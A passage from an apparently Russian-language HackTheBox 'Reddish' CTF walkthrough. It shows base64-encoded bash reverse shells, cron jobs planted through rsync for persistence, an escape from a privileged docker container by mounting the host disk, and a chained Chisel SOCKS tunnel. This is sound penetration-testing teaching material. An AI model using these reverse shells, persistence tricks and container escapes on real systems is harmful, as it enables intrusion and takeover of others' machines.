Сетевая карта. Часть 7: Цепочка туннелей “www <=> nodered <=> Kali”
Для некоторых утилитарных целей (например, доставить исполняемый файл chisel в контейнер www), было открыто еще 100500 вспомогательных туннелей, описание которых я не стал включать в текст прохождения и добавлять на сетевую карту, чтобы не запутывать читателя еще больше.
Остается создать реверс-шелл, cron-задачу, залить это все на backup, дождаться запуска cron-а и поймать шелл на Kali. Сделаем же это.
Создаем шелл.
root@www:/tmp# echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzIyMjIgMD4mMScK | base64 -d > shell.sh
root@www:/tmp# cat shell.sh
`bash -c 'bash -i >& /dev/tcp/172.20.0.3/2222 0>&1'
Создаем cronjob, который будет выполняться каждую минуту.
root@www:/tmp# echo '* * * * * root bash /tmp/shell.sh' > shell
Заливаем оба файла на backup с помощью rsync.
root@www:/tmp# rsync -a shell.sh rsync://backup:873/src/tmp/
root@www:/tmp# rsync -a shell rsync://backup:873/src/etc/cron.d/
И через мгновение нам приходит коннект на 3333-й порт Kali.

Финальный захват хоста Reddish
Прогулявшись по файловой системе backup, можно увидеть такую картину.

В директории /dev оставлен доступ ко всем накопителям хостовой ОС. Это означает, что на Reddish этот контейнер был запущен с флагом –privileged. Это наделяет докер-процесс практически всеми полномочиями, которые есть у основного хоста.
Интересная презентация по аудиту докер-контейнеров: Hacking Docker the Easy way.
Если мы смонтируем, к примеру, /dev/sda1, то сможем совершить побег в файловую систему Reddish.

Шелл можно получить тем же способом, каким мы попали в контейнер backup: создадим cronjob и дропнем его в /dev/sda1/etc/cron.d/.
root@backup:/tmp/sda1/etc/cron.d# echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS85OTk5IDA+JjEnCg==' | base64 -d > /tmp/sda1/tmp/shell.sh
root@backup:/tmp/sda1/etc/cron.d# cat ../../tmp/shell.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.19/9999 0>&1'
root@backup:/tmp/sda1/etc/cron.d# echo '* * * * * root bash /tmp/shell.sh' > shell
И теперь отклик реверс-шелла придет уже человеческим образом — через реальную сеть 10.10.0.0/16 (а не через дебри виртуальных интерфейсов докера) на порт 9999 ВМ Kali.

Если вызвать ip addr, можно видеть нагромождение сетей docker.

Вот и все! Осталось забрат рутовый флаг, и виртуалка пройдена.
root@backup:/tmp/sda1# cat root/root.txt
cat root/root.txt
50d0db64????????????????????????

Эпилог
Конфигурация docker
У нас есть полноправный доступ к системе, поэтому из любопытства можно открыть конфигурацию docker /opt/reddish_composition/docker-compose.yml.
Из нее мы видим:
- список портов, доступных «снаружи» (строка 7);
- разделяемую с контейнерами
wwwиredisвнутреннюю сеть (строка 10); - конфигурации всех контейнеров (
nodered,www,redis,backup); - флаг
--privileged, с которым запущен контейнерbackup(строка 38).
В соответствии с найденным конфигом я в последний раз обновлю свою сетевую карту.

Сетевая карта. Часть 8: Файловая система Reddish
Chisel SOCKS
Откровенно говоря, Reddish можно было пройти гораздо проще, ведь Chisel поддерживает SOCKS-прокси. Это значит, что нам вообще-то не нужно было вручную возводить отдельный туннель под каждый пробрасываемый порт. Безусловно, это полезно в учебных целях, чтобы понимать, как это все работает (за этим мы это и делали), однако настройка прокси-сервера значительно упрощает жизнь пентестеру.
Единственная трудность заключается в том, что Chisel умеет запускать режим SOCKS-сервера только в режиме chisel server. То есть нам нужно было бы положить Chisel на промежуточный хост (например, на nodered), запустить его в режиме сервера и подключаться к этому серверу с Kali. Но именно это мы и не могли сделать! Как ты помнишь, мы специально сперва пробрасывали реверс-соединение к себе на машину, чтобы взаимодействовать со внутренней сетью докер-контейнеров.
Но и здесь есть выход: можно запустить «Chisel поверх Chisel» так, чтобы первый Chisel вел себя как обычный сервер, который организует нам backconnect к nodered, а второй — вел себя как сервер SOCKS-прокси уже в самом контейнере nodered. Продемонстрируем это на примере.
root@kali:~/chisel# ./chisel server -v -reverse -p 8000
Первым делом, как обычно, запускаем сервер на Kali, который разрешает обратные подключения.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8001:127.0.0.1:31337 &
Потом делаем обратный проброс с nodered (порт 31337) на Kali (порт 8001). На данном этапе все, что попадает на Kali через localhost:8001, отправляется в nodered на localhost:31337.
root@nodered:/tmp# ./chisel server -v -p 31337 --socks5
Следующим шагом запускаем Chisel в режиме SOCKS-сервера на nodered слушать порт 31337.
root@kali:~/chisel# ./chisel client 127.0.0.1:8001 1080:socks
В завершении активируем дополнительный клиент Chisel на Kali (со значением socks в качестве remote), который подключается к локальному порту 8001. А дальше начинается магия: трафик передается через порт 1080 SOCKS-прокси по обратному туннелю, который обслуживает первый сервер на 8000-м порту, и попадает на интерфейс 127.0.0.1 контейнера nodered в порт 31337, где уже развернут SOCKS-сервер. Фух.
С этого момента мы можем обращаться к любому хосту по любому порту, до которых может дотянутся nodered, а SOCKS-прокси выполнит всю маршрутизацию за нас.
root@kali:~# proxychains4 nmap -n -Pn -sT -sV -sC 172.19.0.3 -p6379
...
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
...